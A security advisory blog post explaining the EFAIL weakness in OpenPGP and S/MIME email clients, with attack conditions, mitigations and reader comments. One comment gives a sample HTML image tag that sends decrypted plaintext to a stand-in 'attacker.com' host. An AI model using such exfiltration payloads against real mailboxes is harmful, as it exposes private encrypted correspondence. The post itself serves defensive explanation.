EFAIL, a weakness in openPGP and S\MIME
The next named security issue has hit mainstream press, EFAIL (https://efail.de/) . You may be asked some questions about it over the next day or so.
The crux of the issue relates to the implementation of openPGP and S\MIME and using HTML email formats. It affects a number of products that implement these standards including Outlook, Thunderbird and Apple’s Mail application. There are more though.
It you do not use openPGP or S\MIME encrypted emails, take the day off. This issue will not affect you. However, if like many people you do use email encryption this will likely affect you. There are however a number of conditions that must be met and therefore the attack is not straight forward.
Let us have a quick look at how encrypting email usually works. Alice and Bob want to exchange an encrypted email and they are both using either openPGP or S\MIME email clients.
The private and public keys have been generated, public keys shared and each email client has been set up correctly.
- Alice encrypts the email with Bob’s public key and sends it to Bob.
- Bob opens his email, he’ll be asked for a password to get access to his private key so he can decrypt the email.
That is the normal process.
The EFAIL attack is taking advantage of a weakness in the specification on how that email is processed. The result is that when an attacker has managed to get hold of an encrypted email from Bob’s mailbox, they can craft a new email to Bob, incorporate the “old” encrypted email into the message, send it back to Bob. Bob will decrypt this new message and inadvertently decrypt the old message. The attack uses HTML URL to upload the decrypted message to a third party.
- Eve gains access to an “old” encrypted email,
- Eve crafts a new email set up to exfiltrate the decrypted content to her server.
- Eve encrypts the email with Bob’s public key and sends it to Bob.
- Bob opens his email, he’ll be asked for a password to get access to his private key so he can decrypt the email.
- The data for the “old” email is exfiltrated.
The conditions that have to be met are:
- Have an old encrypted message you want to decrypt, from Bob’s mailbox or captured on the wire.
- Craft a new email to be sent to Bob
- Bob needs to decrypt this crafted message
- Bob needs to have HTML message format enabled (usually the default)
The tricky bit will likely be getting hold of the encrypted message you want to decrypt, but mailboxes are compromised quite regularly today.
Mitigation options:
- Don’t decrypt in the mail client.
- Disable HTML rendering
- Update mail client (some vendors have already or will shortly be updating their clients)
EFAIL, a serious risk? Perhaps not for many of us, but could be used in targeted attacks. Based on your risk profile implement the mitigation options.
Cheers
Mark H - Shearwater
PS if you need more detail, their paper is a good read https://efail.de/efail-attack-paper.pdf
Comments
TL;DR - OpenPGP detects the re-use and warns it's caller, but these email clients ignore that and then follow the crafted URL.
Anonymous
May 16th 2018
6 years ago
Giving up on PGP... why not? but replacing it with what? and I'm talking about keeping regular email and not switching to Signal or Wire Instant Messaging where purpose of these apps is not the same as a regular email.
So what do you recommend to encrypt/protect any email that needs confidentiality? and does it work with an attachment?
Thanks
Antonio
Anonymous
May 18th 2018
6 years ago
Anonymous
May 18th 2018
6 years ago
is that each encrypted block B can be attacked individually - surround by attackers cleverly chosen trojan encrypted message giving ABC, an ABC decrypts to string
[...]<img src="http://attacker.com/[...][plaintext of B][...]">
which is exfiltrated by the automatic loading which sends [plaintext of B] to attacker.com as part of an HTTP request.
A potential weakness is that EFAIL can't subdivide the block, and simply adding the three characters double quote (") single quote (') and space ( ) to the beginning of each block would prevent EFAIL exfiltration of what came later in the block simply by the rules of HMTL grammar.
This is discussed in more detail at
[A Solution for Sending Messages Safely from EFAIL-safe Senders to EFAIL-unsafe Receivers](https://github.com/craigphicks/efail-safe-send-to-insec-recv/wiki)
Any critical review or suggestions would be greatly appreciated.
Anonymous
May 22nd 2018
6 years ago
Their is a difference of probability of theft in dropbox vs mail,
but the risk of decryption after theft is the same, (assuming recipients
aren't purging their PGP mail clients because they known you won`t be sending them encrypted mail).
Total risk = P(theft) * P(decryption|theft)
The right hand factor `P(decryption|theft)` doesn't change through using a dropbox, only `P(theft)` changes.
`P(decryption|theft)` doesn't change because the attacker can send insert the message into an attacking mail sent to your reader.
Another solution is to make the EFAIL-proof the message itself.
Described here: [A Solution for Sending Messages Safely from EFAIL-safe Senders to EFAIL-unsafe Receivers](https://github.com/craigphicks/efail-safe-send-to-insec-recv/wiki)
That way P(decryption|theft) becomes zero.
Anonymous
May 22nd 2018
6 years ago